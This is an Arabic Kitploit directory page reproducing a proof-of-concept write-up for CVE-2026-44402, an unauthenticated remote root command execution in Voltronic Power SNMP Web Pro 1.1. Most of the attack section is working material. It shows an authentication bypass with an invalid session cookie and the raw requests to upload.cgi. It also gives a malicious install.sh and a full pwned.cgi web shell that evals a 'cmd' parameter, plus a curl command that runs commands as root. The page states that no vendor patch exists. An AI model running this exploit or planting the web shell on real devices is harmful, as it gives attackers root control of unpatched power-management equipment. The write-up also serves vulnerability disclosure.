Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44402 — تنفيذ أوامر عن بُعد بصلاحيات الجذر الكاملة قبل المصادقة في Voltronic Power SNMP Web Pro 1.1 | Kitploit
أدوات/GitHubGitHub/virgula0/cve-2026-44402
أمان الأنظمة المدمجةأمان إنترنت الأشياءالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقتطوير الحمولات
GitHubvirgula0/cve-2026-44402

CVE-2026-44402

تنفيذ أوامر عن بُعد بصلاحيات الجذر الكاملة قبل المصادقة في Voltronic Power SNMP Web Pro 1.1

عرض المستودع
110منذ 29 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44402

تنفيذ أوامر كامل عن بُعد قبل المصادقة في Voltronic Power SNMP Web Pro 1.1

المحتوى

  • البائع المتأثر: https://voltronicpower.com/
  • المنتج المتأثر: SNMP Web pro 1.1

يحتوي SNMP Web Pro 1.1 على ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في نقطة النهاية upload.cgi. تتيح وظيفة تحديث البرنامج الثابت للمستخدمين رفع أرشيف tar، والذي يتم بعد ذلك استخراجه وتثبيته دون أي تحقق من الإدخال أو فحوصات أمنية. يفشل التطبيق في تقييد أو تنظيف محتويات الأرشيف، لذلك يمكن للمهاجم رفع أرشيف مصمم خصيصًا يحتوي على نصوص CGI خبيثة. مع القليل من التجربة والخطأ - وبمساعدة كبيرة من المعلومات التي تسرّبها كل استجابة - يمكن اكتشاف تنسيق الأرشيف المحدد المتوقع وتصميم أرشيف خبيث.

بالإضافة إلى ذلك، لا تتحقق نقطة النهاية من المصادقة بشكل صحيح: يكفي توفير ملف تعريف ارتباط جلسة معدل أو غير صالح لتجاوز ضوابط الوصول والوصول إلى الوظيفة القابلة للاستغلال دون بيانات اعتماد صالحة، حتى لو كانت الواجهة الأمامية تتطلب تسجيل الدخول لاستخدامها بوضوح.

يسمح الاستغلال الناجح للمهاجم بوضع ملفات تنفيذية عشوائية داخل دليل خادم CGI وتنفيذ أوامر بصلاحيات الجذر (root).

تشغيل POC

root@kitploit:~
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py

الشرح

تم تنفيذ كل ما يلي ضد نسخة محلية (http://localhost:5555). هناك أمران يجعلان هذا التمرين بأكمله تافهًا من البداية:

  1. لا يتحقق الخادم الخلفي أبدًا من الجلسة. يكفي ترويسة واحدة Cookie: -http-session-=NOT_VALID لكل طلب - معامل الاستعلام sid هو قيمة عشوائية يولّدها جافاسكربت الواجهة الأمامية ويتجاهلها الخادم بالمثل.
  2. يتم إرجاع رسائل الخطأ مباشرة في نص استجابة HTTP. الخطة: ادفع نقطة النهاية، واقرأ ما تشكو منه، وأعطها بالضبط ما تريد - حتى تريد قوقعتها (shell).

تتبع الخطوات أدناه تلك الحلقة. تم اقتطاع الطلبات إلى الحد الأدنى من الترويسات التي يهتم بها الخادم فعليًا.

الخطوة 1 - الاستطلاع: استدعاء الاستخراج يكشف عن نيته

يخبرنا الطلب الأول بالفعل أين يتوقع الخادم أن يكون أرشيف البرنامج الثابت. لاحظ أن params=extract تطلب من CGI استخراج أرشيف، وليس استقبال واحد: لم يتم رفع أي شيء بعد، تحاول نقطة النهاية ببساطة فك ضغط ما تتوقع وجوده على القرص.

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID

الاستجابة:

root@kitploit:~
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124

tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8

upgrade=extract
(NAK

النص ثمين. إلى جانب (NAK (إقرار سلبي) الذي يخبرنا أن العملية فشلت، فإن المخرجات الأولية لثنائي tar مضمّنة حرفيًا في الاستجابة: إنه يحاول استخراج /root/upgrade.tar.gz. لاحظ أيضًا مسار التثبيت المستهدف /root - نحن نتعامل مع عملية متميزة.

حقيقتان لخطة الاستغلال:

  • أي ملف نرفعه تتم إعادة تسميته إلى upgrade.tar.gz ويوضع في /root. اسم ملفنا لا يهم.
  • نص الخطأ الذي رأيناه للتو سيظهر مرة أخرى في كل محاولة فاشلة - إنها ورقة الغش الخاصة بنا.

الخطوة 2 - رفع واستخراج أرشيف غير ضار

أولاً، أنشئ أرشيف tar تجريبيًا (الرفع هو POST متعدد الأجزاء؛ أثره ليس مثيرًا للاهتمام - استدعاءات GET هي التي تقود كل السلوك):

root@kitploit:~
tar czvf test.tar.gz test.txt
test.txt

ابدأ الدورة: ارفع الأرشيف، ثم استخرجه:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=extract
(ACK

(ACK - تم الاستخراج دون أي شكوى. الدورة (رفع -> استخراج -> تثبيت) هي شكل هذا الاستغلال بالكامل؛ من هنا يتغير فقط خطوة التثبيت، لذا تُظهر الآثار التالية سطر الطلب ونص الاستجابة فقط (تبقى الترويسات مطابقة لما سبق).

الخطوة 3 - التثبيت صعب الإرضاء: يريد مجلدًا باسم upgrade

الاستخراج يعمل، حان وقت التثبيت. تختلف الاستجابة كما هو متوقع:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63

upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*

(ACK مرة أخرى، ولكن بقايا أمر شل تتسرب: cd: line 1: can't cd to /root/upgrade*. يشغّل المثبت شلًا عشوائيًا - يحاول الانتقال إلى مجلد باسم upgrade داخل الأرشيف المستخرج باستخدام glob. أرشيفنا المسطح البريء (test.txt في الجذر) لا يلبي glob. إصلاح سهل: أعد التعبئة بدليل upgrade/ على المستوى الأعلى.

root@kitploit:~
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt

ثم كرر الخطوتين الأوليين من الدورة: أعد الرفع، وأعد الاستخراج.

الخطوة 4 - خطأ إضافي للاستخراج: الآن يريد install.sh

نفس استدعاء التثبيت مرة أخرى، والتسريب يصبح أفضل:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65

upgrade=install
(ACKchmod: install.sh: No such file or directory

ينفذ chmod على سكربت باسم install.sh - مما يعني أن إجراء التثبيت ينفذ سكربت شل من الأرشيف، بصلاحيات الجذر. في هذه المرحلة نتحكم في كل ملف من ملفات الأرشيف، لذلك نتحكم في هذا السكربت. هذه هي الثغرة بأكملها في سطر واحد: ملفات عشوائية، تُنفذ بصلاحيات الجذر، دون أي مصادقة.

الخطوة 5 - تسليم شل CGI

قم ببناء install.sh وpwned.cgi داخل دليل upgrade/ (كلا الملفين مرفقان أيضًا في مجلد upgrade/ في هذا المستودع).

يقوم install.sh بفك التخطيط الفيزيائي بحيث يتم إسقاط سكربتنا في دليل CGI الخاص بجذر الويب، ثم يصلح الأذونات:

root@kitploit:~
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)

# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt

# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi

# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi

pwned.cgi هو CGI بسيط لموزع الأوامر: يأخذ معامل الاستعلام cmd، ويفك ترميز URL ويمرره إلى eval. هذه هي الشل البعيدة:

root@kitploit:~
cat upgrade/pwned.cgi
#!/bin/sh

echo "Content-Type: text/plain"
echo ""

# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"

# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')

# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')

if [ -z "$CMD" ]; then
    echo "No cmd parameter provided."
    exit 0
fi

# Execute the command and return its output
eval "$CMD" 2>&1

أعد تعبئة الأرشيف:

root@kitploit:~
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi

وقم بتشغيل الدورة الكاملة مرة أخيرة:

  • أعد الرفع
  • أعد الاستخراج
  • أعد التثبيت:
root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=install
(ACK

(ACK نظيف دون أي خطأ مسرّب هذه المرة: شغّل المثبت سكربتنا دون شكوى، ويجب أن يكون pwned.cgi الآن جالسًا في دليل CGI. يؤكد أمر whoami البسيط ذلك (اقتبس عنوان URL - ; فاصل في الشل، ومحلل CGI يختنق به):

root@kitploit:~
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root@kitploit:~
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux

جذر (root)، على جهاز ARM/Linux الخاص بالجهاز. من صفر بيانات اعتماد إلى شل جذر، استغرقت الرحلة بأكملها فقط التسريبين أعلاه وأرشيف tar.

الإصدار المتأثر

image

هل يتوفر تصحيح؟

لا، لم يقدم البائع إجابة بعد. استخدم وكيلًا عكسيًا ngnix مع مصادقة لحماية الهدف.

الأتمتة

يقوم poc.py بأتمتة الدورة اليدوية 1:1. تبني create_in_memory_tar_archive() الأرشيف من الخطوة 5 في الذاكرة (install.sh + متغير قائم على POST من pwned.cgi)، ثم تعيد upload_archive() وextract_firmware() وinstall_firmware() تنفيذ الخطوات 2-4، وتنتظر verify_exploit_uploaded() ظهور CGI، وتُسقطك spawn_non_interactive_shell() في موجه >>> تكون أوامره مشفرة بـ base64 وتُرسل عبر POST إلى pwned.cgi.

فيديو

شاهد الفيديو

تنزيل الأداة